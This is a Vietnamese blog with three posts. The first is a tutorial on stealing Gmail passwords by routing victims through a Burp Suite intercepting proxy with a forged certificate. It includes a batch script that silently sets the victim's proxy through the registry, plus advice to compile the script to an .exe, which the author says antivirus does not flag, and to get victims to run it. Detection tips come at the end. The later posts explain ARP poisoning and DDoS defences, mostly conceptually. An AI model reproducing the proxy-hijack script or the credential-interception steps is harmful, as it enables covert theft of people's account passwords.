Thứ Bảy, 30 tháng 10, 2010

Kỹ thuật hack password Gmail

Trong bài viết này tôi sẽ trình bày với các bạn kỹ thuật Hack Password của Gmail hay các trang web khác xác thực một cách tương tự (SSL – Certificate – HTTPS). Đối với nguy cơ bạn có thể bị lộ Password Gmail, trong bài viết này tôi sẽ trình bày cách nhận biết và ngăn chặn nguy cơ này.

I. Hiu biết chung
Gmail hay những dịch vụ web khác thường sử dụng HTTPS để mã hóa gói tin User/Pass. Khi trình duyệt web sử dụng Certificate của Gmail cung cấp và mã hóa thì gói tin User/Pass khi đi trên mạng sẽ an toàn ở mức độ (gần như tuyệt đối).
Kẽ hở ở đây là thế nào mà lại có thể Hack được pass của những phương thức xác thực và mã hóa có tính bảo mật cao.

Quá trình xác thực bình thường khi người dùng truy cập Gmail:

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 611x240

Bước 1: Người dùng truy cập gmail.com
Bước 2: Gmail sẽ gửi thông tin tới Versign để lấy Certificate
Bước 3: Versign gửi lại cho Gmail Certificate bao gồm: Public Key và Private key
Bước 4: Gmail gửi lại cho người dùng Public Key để mã hóa thông tin xác thực
Bước 5: Người dùng sử dụng Public Key mã hóa gửi lên Gmail
Bước 6: Gmail sử dụng Private key để giải mã

*note: gói tin mã hóa user/pass người dùng gửi lên gmail được mã hóa bằng public key thì chỉ có private key mới giải mã dc. Trong khi đó Private key được Gmail dữ lại và không truyền trên mạng. Nên gói tin này cực kỳ bảo mật và không có khả năng giải mã

Kỹ thuật giả mạo Certifcate
Người dùng vào Gmail sẽ không đi thẳng mà đi qua một Intercepting Proxy và bị giả mạo Certificate

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 618x304


Bước 1: Người dùng vào Gmail
Bước 2: Khi gói tin từ người dùng vào Intercept proxy nó sẽ chỉnh sửa thông tin và gửi lên Gmail
Bước 3: Gmail gửi yêu cầu lên Versign để sinh Certificate
Bước 4: Verisign gửi Certificate về cho Gmail. Gmail dữ lại Private key và gửi cho người yêu cầu Public key
Bước 5: Gmail gửi Public key cho Intercept Proxy, Key này sẽ không được gửi cho người dùng
Bước 6: Intercept Proxy tự ra một cặp key và gửi Public key về cho người dùng
Bước 7: Người dùng sử dụng Public Key giả này do Proxy sinh ra để mã hóa user/pass và gửi lên cho proxy. Proxy do tự sinh ra cặp key nên sẽ có Private key để giải mã.
Bước 8: Sau khi giải mã được gói tin người dùng truyền lên Proxy sẽ sử dụng Public Key của Gmail gửi cho rồi mã hóa à gửi lên gmail và quá trình xác thực vẫn dc thực hiện
*Note: Khi đó nếu kẻ tấn công đứng trên con Intercept Proxy thì hoàn toàn có thể biết được User/Pass của người dùng. Người dùng không chú ý khi đi qua một Intercept proxy thì user/pass hoàn toàn có thể bị lộ, mặc dù sử dụng các phương thức xác thực rất bảo mật


II. Tools sử dụng
Burpsuite_v1.3
Link download: http://www.portswigger.net/suite/burpsuite_v1.3.zip
Đây là một tools có tính năng là một Intercept Proxy
-Java (Burpsuite là file .jar chạy trên nền Java)
Link download: http://sun.com
- IE, Firefox
- Tools thiết lập Proxy bằng một file
Đây là tools tôi tự viết dạng file .bat hoặc các bạn có thể chuyển file.bat sang file.exe để khi người dùng kích vào file này sẽ tự động thiết lập Proxy
- Quick_Batch_File_Compiler_3.21 là một tools chuyển file.bat à file.exe

III. Kỹ thuật lấy Password Gmail
- Cách thông thường nhất là sử dụng Keylogger nhưng cách này không sử dụng được khi có các chương trình diệt virus mạnh.
- Export thông tin từ trình duyệt web như IE, Firefox. Cách này không thực hiện được khi người dùng không lưu User/Pass trên trình duyệt
- Còn một cách đó là giả mạo Certificate và sử dụng Intercept Proxy
a. Đặt proxy cho người dùng
- Để toàn bộ nội dung người dùng truy cập web đi qua Intercept Proxy thì cần phải thiết lập proxy trên trình duyệt của người dùng
- Cách thiết lập có thể bạn thiết lập bằng tay (bằng một cách nào đó có quyền điều khiển máy tính của nạn nhân)
- Hướng người dùng chạy một file.exe mà do chúng ta viết để thiết lập proxy
********
Tạo ra một file.bat với nội dung:
Code:
echo Windows Registry Editor Version 5.00 > 1
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings] >2
echo "MigrateProxy"=dword:00000001 > 3
echo "ProxyEnable"=dword:00000001 > 4
echo "ProxyHttp1.1"=dword:00000000 > 5
echo "ProxyServer"="IP:port" > 6
echo "ProxyOverride"="<local>" > 7
copy /b "1"+"2"+"3"+"4"+"5"+"6"+"7" b.reg
del 1 /f /q
del 2 /f /q
del 3 /f /q
del 4 /f /q
del 5 /f /q
del 6 /f /q
del 7 /f /q
regedit.exe /s b.reg
del b.reg /f /q
********

Sau đó dùng tools Quick_Batch_File_Compiler_3.21 chuyển file.bat này sang file.exe
- Khi người dùng nhấn vào file này sẽ tự động thiết lập proxy cho IE với IP bạn thay bằng IP bạn cần thiết lập, Port là port của Proxy sử dụng. Điều rất hay đó là file này tất cả các chương trình diệt virus đều không coi là Virus
- Trong bài viết này tôi sử dụng một máy tính nên proxy tôi thiết lập trên trình duyệt là 127.0.0.1
Tiến hành
Bước 1: Cài đặt Java
Bước 2: Chạy Burpsuite
Bước 3: Thiết lập Proxy
Bước 4: Truy cập Gmail
Bước 5: Vào Proxy xem thông tin User/Pass

Bước 1: Cài đặt Java:
- Sau khi bạn download bộ cài Java từ trang sun.com bạn cài đặt để chuẩn bị môi trường cho các chương trình chạy trên môi trường Java
Bước 2: Chạy Burpsuite:
- Sau khi download Burpsuite tiến hành giải nén khi đến file .jar thì dừng lại
Chạy chương trình Burpsuite_v1.3 để làm Intercepting Proxy. Nhấn đúp vào file .jar giải nén từ bộ download được


Chạy chương trình Burpsuite


Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 718x589


Mặc định chương trình này chỉ làm proxy cho chính máy chạy chương trình, để các máy khác có thể sử dụng chương trình này làm proxy phải à Vào tab proxy à chọn Options rồi có thể Edit tùy biến port sử dụng (mặc định là 8080) bỏ dấu check box “loopback only"

[IMG]http://img202.imageshack.us/img202/5520/57595257.jpg[/IMG]
Chuyển sang tab Intercept để cấu hình các mode hoạt động của Intercepting proxy
- Chế độ Intercept on: đây là chế độ hoạt động. Nếu một người đặt máy tính này làm proxy thì toàn bộ quá trình truy cập ra internet đều bị proxy này quản lý. Khi một request từ trình duyệt tới Proxy, nó sẽ phát hiện nội dung có thể chỉnh sửa và forward đi thì mới tới máy chủ web
Chúng ta tắt chế đô này bằng cách nhấn vào Intercept on sẽ thành off. Mục đích khi người dùng sử dụng phần mềm này làm proxy thì vẫn có thể vào Internet bình thường. Để chế độ này chỉ để lưu lại các thông tin người dùng truy cập web


Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 713x356


Bước 3: Đặt Proxy
- Vào IE chỉnh proxy vào địa chỉ 127.0.0.1 port 8080. IE à IE options à tab connection nhấn vào nút LAN Settings
- Hoặc chạy file.bat với nội dung như trên
Dùng tools chuyển file.bat à file.exe rồi chạy file.exe này cũng được


Bước 4: Vào Gmail qua IE (đã thiết lập Proxy)
Truy cập vào Gmail sẽ thấy thông báo Certificate lỗi nhấn continue để tiếp tục

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x493


Tiếp tục google sẽ thông báo Certificate Error bạn vẫn gõ Username password để truy cập vào Mail

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x493


Tôi vào được mail vẫn còn thông báo Certificate Error

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x493


Bước 5: Vào Proxy tìm thông tin Username và Pass
- Vào Burpsuite à Chuyển sang tab “Target” à Chọn Site Map
Lựa chọn trang web https://www.google.com à Vào mục Accounts à Vào mục ServiceLoginAuth à Nhìn chuyển sang bên phải chọn “Request” (thông tin gửi lên server) vào mục Raw chúng ta sẽ thấy thông tin Username và Password

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 731x976



IV. Phát hiện và bảo mật cho Account Gmail
Muốn hack password gmail kẻ tấn công phải hướng người dùng đặt Proxy đi qua một Intercept Proxy sau đó giả mạo Certificate do đó muốn phát hiện và bảo mật cho Account Gmail bạn có thể thực hiện bằng các cách:

1. Phát hiện khi vào mạng có qua một Proxy hay không
Kiểm tra bằng cách trước khi vào Internet truy cập vào mục thiết lập Proxy xem có địa chỉ nào được thiết lập hay chưa.
Cách này rất hữu ích nhưng xem ra có phần rườm rà khó thực hiện và dễ bị quên hay bỏ qua

2. Phát hiện Certificate bị giả mạo
a. Khi truy cập bình thường
+ Vào Gmail sẽ không bật ra nhưng pop-up đề xuất download Certificate
+ Nhấn chuột vào biểu tượng cục khóa à view Certifcate sẽ thấy nó được sinh ra từ Verisign

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 746x688



Khi truy cập đi qua một Intercept Proxy
+ Truy cập vào Gmail sẽ xuất hiện cửa sổ này thông báo Certificate của bạn đã bị lỗi có tiếp tục hay không. Nếu thấy biểu tượng này khuyến cáo người dùng không nên tiếp tục và kiểm tra lại độ an toàn của mạng và máy tính trước khi truy cập

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x487

+ Nếu người dùng tiếp tục truy cập vào trang Gmail sẽ không có biểu tượng cục khóa mà thay vào đó là biểu tượng “Certificate Error”.
+ Nhấn xem Certificate này chúng ta sẽ thấy Certificate này không phải do Verisign sinh ra

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 749x710




Note: Nếu người dùng thấy hai yếu tố này khuyến cáo không nên tiếp tục vào Gmail vì Username và password của bạn hoàn toàn có thể bị mất. Ngoài ra người dùng không nên lưu mật khẩu để tự động truy cập bởi khi máy tính rơi vào tay người khác thì thông tin còn lưu lại trên IE, Firefox hoàn toan có thể bị khai thác dễ dàng. Người dùng cũng nên cài đặt các chương trình diệt Virus để ngăn chặn các loại Virus, Keylogger ăn chôm mật khẩu.

Thứ Năm, 28 tháng 10, 2010

Nguyên lý tấn công ARP poisoning và cách phòng thủ

Nguyên lý tấn công ARP poisoning và cách phòng thủ

Nguyên lý tấn công ARP poisoning và cách phòng thủ
link: http://www.uitstudent.com/forum/showthread.php?t=6445
GIỚI THIỆU GIAO THỨC ARP

Mỗi thiết bị trong hệ thống mạng của chúng ta có ít nhất hai địa chỉ. Một địa chỉ là Media Access Control ( MAC ) và một địa chỉ Internet Protocol ( IP ). Địa chỉ MAC là địa chỉ của card mạng gắn vào bên trong thiết bị, nó là duy nhất và không hề thay đổi. Địa chỉ IP có thể thay đổi theo người sử dụng tùy vào môi trường mạng. ARP là một trong những giao thức của IP, chức năng của nó dùng để định vị một host trong một segment mạng bằng cách phân giải địa chỉ IP ra địa chỉ MAC. ARP thực hiện điều đó thông qua một tiến trình broadcast gói tin đến tất cả các host trong mạng, gói tin đó chứa địa chỉ IP của host cần giao tiếp. Các host trong mạng đều nhận được gói tin đó và chỉ duy nhất host nào có địa chỉ IP trùng với địa chỉ IP trong gói tin mới trả lời lại, còn lại sẽ tự động drop gói tin.

ARP là một giao thức hết sức đơn giản, nó đơn thuần có 4 loại message cơ bản sau:

  • An ARP Request: máy tính A sẽ hỏi toàn mạng : " ai có địa chỉ IP này? "
  • An ARP Reply: máy tính B trả lời máy tính A : "tôi có IP đó, địa chỉ MAC của tôi là..."
  • An Reverse ARP Request: máy tính A sẽ hỏi toàn mạng : " ai có địa chỉ MAC này? "
  • An Reverse ARP Reply: máy tính B trả lời máy tính A: " tôi có MAC đó, địa chỉ IP của tôi là..."

Host A gửi một ARP Request và nhận được một ARP Reply từ một host B có thực trong mạng. sau khi tiến trình này hoàn tất, host Ahost B sẽ có MAC như thế nào. Tiếp theo, host A sẽ lưu lại sự hiểu biết đó lên bộ nhớ của mình gọi là ARP table. ARP table giúp host A không phải thực hiện ARP Request đến host B một lần nữa. đã biết được IP của

MÔ TẢ QUÁ TRÌNH ARP REQUEST VÀ ARP REPLY

  • Trong mạng LAN hiện nay có 4 host: host A, host B, host C, host D.
  • Host A muốn giao tiếp với host C, đầu tiên sẽ broadcast gói tin ARP Requset.
  • Host C nhận thấy đúng IP của mình liền trả lời MAC của mình thông qua gói tin ARP Reply, các host còn lại sẽ drop gói ARP Request.
  • Host A nhận được địa chỉ MAC của host C và ghi nhớ vào ARP table.







NGUYÊN LÝ TẤN CÔNG
Giao thức ARP là rất cần thiết và quan trọng trong hệ thống mạng của chúng ta, tuy nhiên nó lại không đề cập đến vấn đề xác thực nào cả. Khi một host nhận được gói tin ARP Reply, nó hoàn toàn tin tưởng và mặc nhiên sử dụng thông tin đó để sử dụng sau này mà không cần biết thông tin đó có phải trả lời từ một host mà mình mong muốn hay không. ARP không có cơ chế nào để kiểm tra việc đó cả và trên thực tế một host có thể chấp nhận gói ARP Reply mà trước đó không cần phải gửi gói tin ARP Request. Lợi dụng điều này, hacker có thể triển khai các phương thức tấn công như: Man In The Middle, Denial of Service, MAC Flooding





MAN IN THE MIDDLE

Giả sử hacker muốn theo dõi host A gởi thông tin gì cho host B. Đầu tiên, hacker sẽ gởi gói ARP Reply đến host A với nội dung là địa chỉ MAC của hacker và địa chỉ IP của hostB.
Tiếp theo, hacker sẽ gửi gói ARP Reply tới host B với nội dung là MAC của máy hacker và IP của host A. Như vậy, cả hai host Ahost B đều tiếp nhận gói ARP Reply đó và lưu vào trong ARP table của mình. Đến lúc này, khi host A muốn gửi thông tin đến host B, nó liền tra vào ARP table thấy đã có sẵn thông tin về địa chỉ MAC của host B nênsẽ lấy thông tin đó ra sử dụng, nhưng thực chất địa chỉ MAC đó là của hacker. Đồng thời máy tính của hacker sẽ mở chức năng gọi là IP Forwading giúp chuyển tải nội dung mà host A gửi qua host B. Host A host B giao tiếp bình thường và không có cảm giác bị qua máy trung gian là máy của hacker.

Trong trường hợp khác, hacker sẽ nghe lén thông tin từ máy bạn đến Gateway. Như vậy mọi hành động ra Internet của bạn đều bị hacker ghi lại hết, dẫn đến việc mất mát các thông tin nhạy cảm.


DENIAL OF SERVICE


Cũng vận dụng kỹ thuật trên, hacker tiến hành tấn công bằng cách gởi gói ARP Reply đến toàn bộ các host trong mạng với nội dung mang theo là địa chỉ IP của Gateway và địa chỉ MAC không hề tồn tại. Như vậy các host trong mạng tin tưởng rằng mình đã biết được MAC của Gateway và khi gửi thông tin đến Gateway, kết quả là gửi đến một nơi hoàn toàn không tồn tại. Đó là điều hacker mong muốn, toàn bộ các host trong mạng đều không thể đi ra Internet được.

MAC FLOODING

Cách tấn công này cũng dùng kỹ thuật ARP Poisoning mà đối tượng nhắm đến là Switch. Hacker sẽ gửi những gói ARP Reply giả tạo với số lượng khổng lồ nhằm làm Switch xử lý không kịp và trở nên quá tải. Khi đó, Switch sẽ không đủ sức thể hiện bản chất Layer2 của mình nữa mà broadcast gói tin ra toàn bộ các port của mình. Hacker dễ dàng bắt được toàn bộ thông tin trong mạng của bạn.


CÁCH PHÒNG THỦ
ARP Poisoning là một kiểu tấn công dạng local, nghĩa là hacker thực hiện tấn công từ bên trong mạng của bạn. Hậu quả của cách tấn công này là rất lớn, những người quản trị mạng cần nắm bắt rõ về kỹ thuật tấn công này. Sau đây là một số kỹ thuật giúp phòng chống tấn công kiểu ARP Poisoning.
1. Đối với một mạng nhỏ:
Ta có thể sử dụng địa chỉ IP tĩnh và ARP table tĩnh, khi đó, bạn sẽ liệt kê bằng tay IP nào đi với MAC nào. Trong Windows có thể sử dụng câu lệnh ipconfig /all để xem IP và MAC, dùng câu lệnh arp -s để thêm vào ARP table. Khi mà ép tĩnh như vậy sẽ ngăn chặn hacker gởi các gói ARP Reply giả tạo đến máy của mình vì khi sử dụng ARP table tĩnh thì nó luôn luôn không thay đổi. Chú ý rằng cách thức này chỉ áp dụng được trong môi trường mạng với quy mô nhỏ, nếu mạng lớn hơn là không thể vì chúng ta phải thêm vào ARP table bằng tay với số lượng quá nhiều.
2. Đối với một mạng lớn:
Khi quản trị trong một mạng quy mô lớn, ta có thể sử dụng chức năng Port security. Khi mở chức năng Port security lên các port của Switch, ta có thể quy định port đó chỉ chấp nhận một địa chỉ MAC. Như vậy sẽ ngăn chặn việc thay đổi địa chỉ MAC trên máy hacker.

Ngoài ra cũng có thể sử dụng các công cụ, ví dụ như ArpWatch. Nó sẽ phát hiện và báo cáo cho bạn các thông tin liên quan đến ARP đang diễn ra trong mạng. Nhờ đó, nếu có hiện tượng tấn công bằng ARP Poisoning thì bạn có thể giải quyết kịp thời.



In the end

Nghiên cứu và đưa ra giải pháp phòng chống tấn công DoS, DDoS

Nghiên cứu và đưa ra giải pháp phòng chống tấn công DoS, DDoS
Thứ tư, 18 Tháng 8 2010 23:32
1.Tối thiểu hóa số lượng Agent
- Từ phía User: một phương pháp rất tốt để năng ngừa tấn công DDoS là từng internet user sẽ tự đề phòng không để bị lợi dụng tấn công hệ thống khác. Muốn đạt được điều này thì ý thức và kỹ thuật phòng chống phải được phổ biến rộng rãi cho các internet user. Attack-Network sẽ không bao giờ hình thành nếu không có user nào bị lợi dụng trở thành Agent. Các user phải liên tục thực hiện các quá trình bảo mật trên máy vi tính của mình. Họ phải tự kiểm tra sự hiện diện của Agent trên máy của mình, điều này là rất khó khăn đối với user thông thường.

- Một số giải pháp tích hợp sẵn khả năng ngăn ngừa việc cài đặt code nguy hiểm vào hardware và software của từng hệ thống. Về phía user họ nên cài đặt và cập nhật liên tục các software như antivirus, anti_trojan và server patch của hệ điều hành.

- Từ phía ISP: Thay đổi cách tính tiền dịch vụ truy cập theo dung lượng sẽ làm cho user lưu ý đến những gì họ gửi, như vậy về mặt ý thức sẽ tăng cường phát hiện DDoS Agent sẽ tự nâng cao ở mỗi User.

2.Tìm và vô hiệu hóa các Handler


- Một nhân tố vô cùng quan trọng trong attack-network là Handler, nếu có thể phát hiện và vô hiệu hóa Handler thì khả năng Anti-DDoS thành công là rất cao. Bằng cách theo dõi các giao tiếp giữa Handler và Client hay Handler và Agent ta có thể phát hiện ra vị trí của Handler. Do một Handler quản lý nhiều, nên triệt tiêu được một Handler cũng có nghĩa là loại bỏ một lượng đáng kể các Agent trong Attack Network.

3.Phát hiện dấu hiệu của một cuộc tấn công

Agress Filtering:

Kỹ thuật này kiểm tra xem một packet có đủ tiêu chuẩn ra khỏi một subnet hay không dựa trên cơ sở gateway của một subnet luôn biết được địa chỉ IP của các máy thuộc subnet. Các packet từ bên trong subnet gửi ra ngoài với địa chỉ nguồn không hợp lệ sẽ bị giữ lại để điều tra nguyên nhân. Nếu kỹ thuật này được áp dụng trên tất cả các subnet của internet thì khái nhiệm giả mạo địa chỉ IP sẽ không còn tồn tại.

MIB statistics:

Trong Management Information Base (SNMP) của route luôn có thông tin thống kê về sự biến thiên trạng thái của mạng. Nếu ta giám sát chặt chẽ các thống kê của Protocol ICMP, UDP và TCP ta sẽ có khả năng phát hiện được thời điểm bắt đầu của cuộc tấn công để tạo “quỹ thời gian vàng” cho việc xử lý tình huống.

4.Làm suy giàm hay dừng cuộc tấn công

Load balancing:
Thiết lập kiến trúc cân bằng tải cho các server trọng điểm sẽ làm gia tăng thời gian chống chọi của hệ thống với cuộc tấn công DDoS. Tuy nhiên, điều này không có ý nghĩa lắm về mặt thực tiễn vì quy mô của cuộc tấn công là không có giới hạn.

Throttling:

Thiết lập cơ chế điều tiết trên router, quy định một khoảng tải hợp lý mà server bên trong có thể xử lý được. Phương pháp này cũng có thể được dùng để ngăn chặn khả năng DDoS traffic không cho user truy cập dịch vụ. Hạn chế của kỹ thuật này là không phân biệt được giữa các loại traffic, đôi khi làm dịch vụ bị gián đoạn với user, DDoS traffic vẫn có thể xâm nhập vào mạng dịch vụ nhưng với số lượng hữu hạn.

Drop request:

Thiết lập cơ chế drop request nếu nó vi phạm một số quy định như: thời gian delay kéo dài, tốn nhiều tài nguyên để xử lý, gây deadlock. Kỹ thuật này triệt tiêu khả năng làm cạn kiệt năng lực hệ thống, tuy nhiên nó cũng giới hạn một số hoạt động thông thường của hệ thống, cần cân nhắc khi sử dụng.

5.Chuyển hướng của cuộc tấn công

Honeyspots:
-Một kỹ thuật đang được nghiên cứu là Honeyspots. Honeyspots là một hệ thống được thiết kế nhằm đánh lừa attacker tấn công vào khi xâm nhập hệ thống mà không chú ý đến hệ thống quan trọng thực sự.

-Honeyspots không chỉ đóng vai trò “Lê Lai cứu chúa” mà còn rất hiệu quả trong việc phát hiện và xử lý xâm nhập, vì trên Honeyspots đã thiết lập sẵn các cơ chế giám sát và báo động.

-Ngoài ra Honeyspots còn có giá trị trong việc học hỏi và rút kinh nghiệm từ Attacker, do Honeyspots ghi nhận khá chi tiết mọi động thái của attacker trên hệ thống. Nếu attacker bị đánh lừa và cài đặt Agent hay Handler lên Honeyspots thì khả năng bị triệt tiêu toàn bộ attack-network là rất cao.

6.Giai đoạn sau tấn công:

Traffic Pattern Analysis:

Nếu dữ liệu về thống kê biến thiên lượng traffic theo thời gian đã được lưu lại thì sẽ được đưa ra phân tích. Quá trình phân tích này rất có ích cho việc tinh chỉnh lại các hệ thống Load Balancing và Throttling. Ngoài ra các dữ liệu này còn giúp Quản trị mạng điều chỉnh lại các quy tắc kiểm soát traffic ra vào mạng của mình.

Packet Traceback:

Bằng cách dùng kỹ thuật Traceback ta có thể truy ngược lại vị trí của Attacker (ít nhất là subnet của attacker). Từ kỹ thuật Traceback ta phát triển thêm khả năng Block Traceback từ attacker khá hữu hiệu, gần đây đã có một kỹ thuật Traceback khá hiệu quả có thể truy tìm nguồn gốc của cuộc tấn công dưới 15 phút, đó là kỹ thuật XXX.

Bevent Logs:

Bằng cách phân tích file log sau cuộc tấn công, quản trị mạng có thể tìm ra nhiều manh mối và chứng cứ quan trọng.

7.Sử dụng Load Balancing

a)Giới thiệu chung:

Một số đơn vị, chẳng hạn như các công ty hàng không hoặc các ngân hàng lớn, mạng máy tính có thể ví như hệ thần kinh điều khiển hoạt động của toàn doanh nghiệp. Sự ngừng hoạt động của mạng máy tính trong những cơ quan này có thể làm tê liệt các hoạt động chính của đơn vị, và thiệt hại khó có thể lường trước được.

Các máy chủ là trái tim của của mạng máy tính, nếu máy chủ mạng hỏng, hoạt động của hệ thống sẽ bị ngưng trệ. Điều đáng tiếc là dù các hãng sản xuất đã cố gắng làm mọi cách để nâng cao chất lượng của thiết bị, nhưng những hỏng hóc đối với các thiết bị mạng nói chung và các máy chủ nói riêng là điều không thể tránh khỏi. Do vậy, vấn đề đặt ra là cần có một giải pháp để đảm bảo cho hệ thống vẫn hoạt động tốt ngay cả khi có sự cố xảy ra đối với máy chủ mạng, và công nghệ clustering (bó) là câu trả lời cho vấn đề này. Bài báo này giới thiệu nguyên lý và phân tích một số giải pháp clustering đang được áp dụng cho các hệ thống mạng máy tính lớn với hi vọng có thể giúp độc giả hiểu rõ hơn về công nghệ tưởng như đơn giản nhưng thực tế khá phức tạp này.

b)Tổng quan về công nghệ Clustering

Clustering là một kiến trúc nhằm đảm bảo nâng cao khả năng sẵn sàng cho các hệ thống mạng máy tính. Clustering cho phép sử dụng nhiều máy chủ kết hợp với nhau tạo thành một cụm (cluster) có khả năng chịu đựng hay chấp nhận sai sót (fault-tolerant) nhằm nâng cao độ sẵn sàng của hệ thống mạng. Cluster là một hệ thống bao gồm nhiều máy chủ được kết nối với nhau theo dạng song song hay phân tán và được sử dụng như một tài nguyên thống nhất. Nếu một máy chủ ngừng hoạt động do bị sự cố hoặc để nâng cấp, bảo trì, thì toàn bộ công việc mà máy chủ này đảm nhận sẽ được tự động chuyển sang cho một máy chủ khác (trong cùng một cluster) mà không làm cho hoạt động của hệ thống bị ngắt hay gián đoạn. Quá trình này gọi là “fail-over”; và việc phục hồi tài nguyên của một máy chủ trong hệ thống (cluster) được gọi là “fail-back”.

Hình 1. Mô hình cơ bản của 1 hệ thống Network Load balancing

c)Các yêu cầu của 1 hệ thống Cluster:

Yêu cầu về tính sẵn sàng cao (availability). Các tài nguyên mạng phải luôn sẵn sàng trong khả năng cao nhất để cung cấp và phục vụ các người dùng cuối và giảm thiểu sự ngưng hoạt động hệ thống ngoài ý muốn.

Yêu cầu về độ tin cậy cao (reliability). Độ tin cậy cao của cluster được hiểu là khả năng giảm thiểu tần số xảy ra các sự cố, và nâng cao khả năng chịu đựng sai sót của hệ thống.

Yêu cầu về khả năng mở rộng được (scalability). Hệ thống phải có khả năng dễ dàng cho việc nâng cấp, mở rộng trong tương lai. Việc nâng cấp mở rộng bao hàm cả việc thêm các thiết bị, máy tính vào hệ thống để nâng cao chất lượng dịch vụ, cũng như việc thêm số lượng người dùng, thêm ứng dụng, dịch vụ và thêm các tài nguyên mạng khác.
Ba yêu cầu trên được gọi tắt là RAS (Reliability-Availability-Scalability), những hệ thống đáp ứng được ba yêu cầu trên được gọi là hệ thống RAS (cần phân biệt với Remote Access Service là dịch vụ truy cập từ xa).
Cũng cần chú ý rằng hiệu quả hoạt động của hệ thống Clustering phụ thuộc vào sự tương thích giữa các ứng dụng và dịch vụ, giữa phần cứng và phần mềm. Ngoài ra, kỹ thuật clustering không thể chống lại các sự cố xảy ra do virus, sai sót của phần mềm hay các sai sót do người sử dụng. Để chống lại các sự cố này cần xây dựng một cơ sở dữ liệu được bảo vệ chắc chắn cũng như có các kế hoạch khôi phục, backup dữ liệu.

d)Cluster nhiều địa điểm phân tán

Với các hệ thống mạng lớn có các người dùng phân bố rải rác, hiệu quả của việc phòng chống sự cố và nâng cao tính sẵn sàng của mạng sẽ được cải thiện hơn nhiều nếu xây dựng hệ thống cluster bố trí tại nhiều địa điểm. Kiến trúc nhiều địa điểm có thể được thiết kế theo rất nhiều cách khác nhau, trong đó phổ biến nhất là có một điểm gốc và một số điểm ở xa.

Với kiểu thiết kế đầy đủ, toàn bộ cấu trúc của điểm gốc được xây dựng lại đầy đủ ở các điểm ở xa. Điều này cho phép các điểm ở xa hoạt động độc lập và có thể xử lý toàn bộ khối lượng công việc của điểm gốc nếu cần. Trong trường hợp này, việc thiết kế phải đảm bảo sao cho cơ sở dữ liệu và các ứng dụng giữa điểm gốc và các điểm ở xa phải đồng bộ và được cập nhật sao lặp ở chế độ thời gian thực.

Với kiểu thiết kế thực hiện từng phần thì chỉ có các thành phần cơ bản là được cài đặt ở các điểm ở xa nhằm: Xử lý các khối lượng công việc quá tải trong các giờ cao điểm; Duy trì hoạt động ở mức cơ bản trong trường hợp điểm gốc site bị sự cố; Cung cấp một số dịch vụ hạn chế nếu cần.
Cả kiểu thiết kế đầy đủ hay từng phần đều dùng phương cách phân tán các máy chủ rải rác về mặt địa lý. Cluster phân tán về địa lý sử dụng mạng LAN ảo (Virtual LAN) để kết nối các mạng khu vực lưu trữ SAN (storage area network) qua những khoảng cách lớn.

e)Một vài thuật toán sử dụng trong Load balancing phòng chống DoS:

Hình 2. Sơ đồ một hệ thống mạng Firewall Load Balancing


f)Các mô hình Load Balancing hiện nay:

i.Client-side load balancing

ii.Server-side load balancing

g)Chế độ hoạt động của Network Load Balancing

Mỗi máy chủ trong cluster được gọi là một nút (cluster node), và có thể được thiết lập ở chế độ chủ động (active) hay thụ động (passive). Khi một nút ở chế dộ chủ động, nó sẽ chủ động xử lý các yêu cầu. Khi một nút là thụ động, nó sẽ nằm ở chế độ dự phòng nóng (stanby) chờ để sẵn sàng thay thế cho một nút khác nếu bị hỏng. Nguyên lý hoạt động của Cluster có thể biểu diễn như trong hình 1.

Hình 3. Nguyên lý hoạt động của một Cluster

Trong một cluster có nhiều nút có thể kết hợp cả nút chủ động và nút thụ động. Trong những mô hình loại này việc quyết định một nút được cấu hình là chủ động hay thụ động rất quan trọng. Để hiểu lý do tại sao, hãy xem xét các tình huống sau:

- Nếu một nút chủ động bị sự cố và có một nút thụ động đang sẵn sàng, các ứng dụng và dịch vụ đang chạy trên nút hỏng có thể lập tức được chuyển sang nút thụ động. Vì máy chủ đóng vai trò nút thụ động hiện tại chưa chạy ứng dụng hay dịch vụ gì cả nên nó có thể gánh toàn bộ công việc của máy chủ hỏng mà không ảnh hưởng gì đến các ứng dụng và dịch vụ cung cấp cho người dùng cuối (Ngầm định rằng các các máy chủ trong cluster có cấu trúc phần cứng giống nhau).

- Nếu tất cả các máy chủ trong cluster là chủ động và có một nút bị sự cố, các ứng dụng và dịch vụ đang chạy trên máy chủ hỏng sẽ phải chuyển sang một máy chủ khác cũng đóng vai trò nút chủ động. Vì là nút chủ động nên bình thường máy chủ này cũng phải đảm nhận một số ứng dụng hay dịch vụ gì đó, khi có sự cố xảy ra thì nó sẽ phải gánh thêm công việc của máy chủ hỏng. Do vậy để đảm bảo hệ thống hoạt động bình thường kể cả khi có sự cố thì máy chủ trong cluster cần phải có cấu hình dư ra đủ để có thể gánh thêm khối lượng công việc của máy chủ khác khi cần.
Trong cấu trúc cluster mà mỗi nút chủ động được dự phòng bởi một nút thụ động, các máy chủ cần có cấu hình sao cho với khối lượng công việc trung bình chúng sử dụng hết khoảng 50% CPU và dung lượng bộ nhớ.
Trong cấu trúc cluster mà số nút chủ động nhiều hơn số nút bị động, các máy chủ cần có cấu hình tài nguyên CPU và bộ nhớ mạnh hơn nữa để có thể xử lý được khối lượng công việc cần thiết khi một nút nào đó bị hỏng.
